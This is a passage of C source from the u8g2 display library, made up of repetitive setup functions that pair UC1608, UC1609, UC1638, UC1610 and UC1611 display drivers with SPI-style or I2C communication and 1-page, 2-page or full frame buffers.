tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1608_240x128, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_30_16_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1608 f */\nvoid u8g2_Setup_uc1608_240x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1608_240x128, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_30_16_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1608 */\n/* uc1608 1 */\nvoid u8g2_Setup_uc1608_i2c_240x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1608_240x128, u8x8_cad_uc16xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_30_16_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1608 2 */\nvoid u8g2_Setup_uc1608_i2c_240x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1608_240x128, u8x8_cad_uc16xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_30_16_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1608 f */\nvoid u8g2_Setup_uc1608_i2c_240x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1608_240x128, u8x8_cad_uc16xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_30_16_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1609 */\n/* uc1609 1 */\nvoid u8g2_Setup_uc1609_slg19264_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1609_slg19264, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_24_8_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1609 2 */\nvoid u8g2_Setup_uc1609_slg19264_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1609_slg19264, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_24_8_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1609 f */\nvoid u8g2_Setup_uc1609_slg19264_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1609_slg19264, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_24_8_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1609 */\n/* uc1609 1 */\nvoid u8g2_Setup_uc1609_i2c_slg19264_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1609_slg19264, u8x8_cad_uc16xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_24_8_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1609 2 */\nvoid u8g2_Setup_uc1609_i2c_slg19264_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1609_slg19264, u8x8_cad_uc16xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_24_8_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1609 f */\nvoid u8g2_Setup_uc1609_i2c_slg19264_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1609_slg19264, u8x8_cad_uc16xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_24_8_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1638 */\n/* uc1638 1 */\nvoid u8g2_Setup_uc1638_160x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1638_160x128, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_20_16_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1638 2 */\nvoid u8g2_Setup_uc1638_160x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1638_160x128, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_20_16_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1638 f */\nvoid u8g2_Setup_uc1638_160x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1638_160x128, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_20_16_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1638 */\n/* uc1638 1 */\nvoid u8g2_Setup_uc1638_192x96_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1638_192x96, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_24_12_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1638 2 */\nvoid u8g2_Setup_uc1638_192x96_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1638_192x96, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_24_12_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1638 f */\nvoid u8g2_Setup_uc1638_192x96_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1638_192x96, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_24_12_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1638 */\n/* uc1638 1 */\nvoid u8g2_Setup_uc1638_i2c_192x96_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1638_192x96, u8x8_cad_uc1638_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_24_12_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1638 2 */\nvoid u8g2_Setup_uc1638_i2c_192x96_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1638_192x96, u8x8_cad_uc1638_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_24_12_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1638 f */\nvoid u8g2_Setup_uc1638_i2c_192x96_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1638_192x96, u8x8_cad_uc1638_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_24_12_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1638 */\n/* uc1638 1 */\nvoid u8g2_Setup_uc1638_240x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1638_240x128, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_30_16_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1638 2 */\nvoid u8g2_Setup_uc1638_240x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1638_240x128, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_30_16_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1638 f */\nvoid u8g2_Setup_uc1638_240x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1638_240x128, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_30_16_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1638 */\n/* uc1638 1 */\nvoid u8g2_Setup_uc1638_i2c_240x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1638_240x128, u8x8_cad_uc1638_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_30_16_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1638 2 */\nvoid u8g2_Setup_uc1638_i2c_240x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1638_240x128, u8x8_cad_uc1638_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_30_16_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1638 f */\nvoid u8g2_Setup_uc1638_i2c_240x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1638_240x128, u8x8_cad_uc1638_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_30_16_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1610 */\n/* uc1610 1 */\nvoid u8g2_Setup_uc1610_ea_dogxl160_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1610_ea_dogxl160, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_20_13_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1610 2 */\nvoid u8g2_Setup_uc1610_ea_dogxl160_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1610_ea_dogxl160, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_20_13_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1610 f */\nvoid u8g2_Setup_uc1610_ea_dogxl160_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1610_ea_dogxl160, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_20_13_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1610 */\n/* uc1610 1 */\nvoid u8g2_Setup_uc1610_i2c_ea_dogxl160_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1610_ea_dogxl160, u8x8_cad_uc16xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_20_13_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1610 2 */\nvoid u8g2_Setup_uc1610_i2c_ea_dogxl160_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1610_ea_dogxl160, u8x8_cad_uc16xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_20_13_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1610 f */\nvoid u8g2_Setup_uc1610_i2c_ea_dogxl160_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1610_ea_dogxl160, u8x8_cad_uc16xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_20_13_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1611 */\n/* uc1611 1 */\nvoid u8g2_Setup_uc1611_ea_dogm240_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1611_ea_dogm240, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_30_8_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1611 2 */\nvoid u8g2_Setup_uc1611_ea_dogm240_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1611_ea_dogm240, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_30_8_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1611 f */\nvoid u8g2_Setup_uc1611_ea_dogm240_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1611_ea_dogm240, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_30_8_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1611 */\n/* uc1611 1 */\nvoid u8g2_Setup_uc1611_i2c_ea_dogm240_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1611_ea_dogm240, u8x8_cad_uc16xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_30_8_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1611 2 */\nvoid u8g2_Setup_uc1611_i2c_ea_dogm240_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1611_ea_dogm240, u8x8_cad_uc16xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_30_8_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1611 f */\nvoid u8g2_Setup_uc1611_i2c_ea_dogm240_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1611_ea_dogm240, u8x8_cad_uc16xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_30_8_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1611 */\n/* uc1611 1 */\nvoid u8g2_Setup_uc1611_ea_dogxl240_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1611_ea_dogxl240, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_30_16_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1611 2 */\nvoid u8g2_Setup_uc1611_ea_dogxl240_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1611_ea_dogxl240, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_30_16_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1611 f */\nvoid u8g2_Setup_uc1611_ea_dogxl240_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1611_ea_dogxl240, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_30_16_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1611 */\n/* uc1611 1 */\nvoid u8g2_Setup_uc1611_i2c_ea_dogxl240_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1611_ea_dogxl240, u8x8_cad_uc16xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_30_16_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1611 2 */\nvoid u8g2_Setup_uc1611_i2c_ea_dogxl240_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1611_ea_dogxl240, u8x8_cad_uc16xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_30_16_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1611 f */\nvoid u8g2_Setup_uc1611_i2c_ea_dogxl240_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1611_ea_dogxl240, u8x8_cad_uc16xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_30_16_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1611 */\n/* uc1611 1 */\nvoid u8g2_Setup_uc1611_ew50850_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1611_ew50850, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_30_20_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1611 2 */\nvoid u8g2_Setup_uc1611_ew50850_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1611_ew50850, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_30_20_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1611 f */\nvoid u8g2_Setup_uc1611_ew50850_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1611_ew50850, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_30_20_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1611 */\n/* uc1611 1 */\nvoid u8g2_Setup_uc1611_i2c_ew50850_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1611_ew50850, u8x8_cad_uc16xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_30_20_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1611 2 */\nvoid u8g2_Setup_uc1611_i2c_ew50850_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1611_ew50850, u8x8_cad_uc16xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_30_20_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1611 f */\nvoid u8g2_Setup_uc1611_i2c_ew50850_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1611_ew50850, u8x8_cad_uc16xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_30_20_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1611 */\n/* uc1611 1 */\nvoid u8g2_Setup_uc1611_cg160160_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t 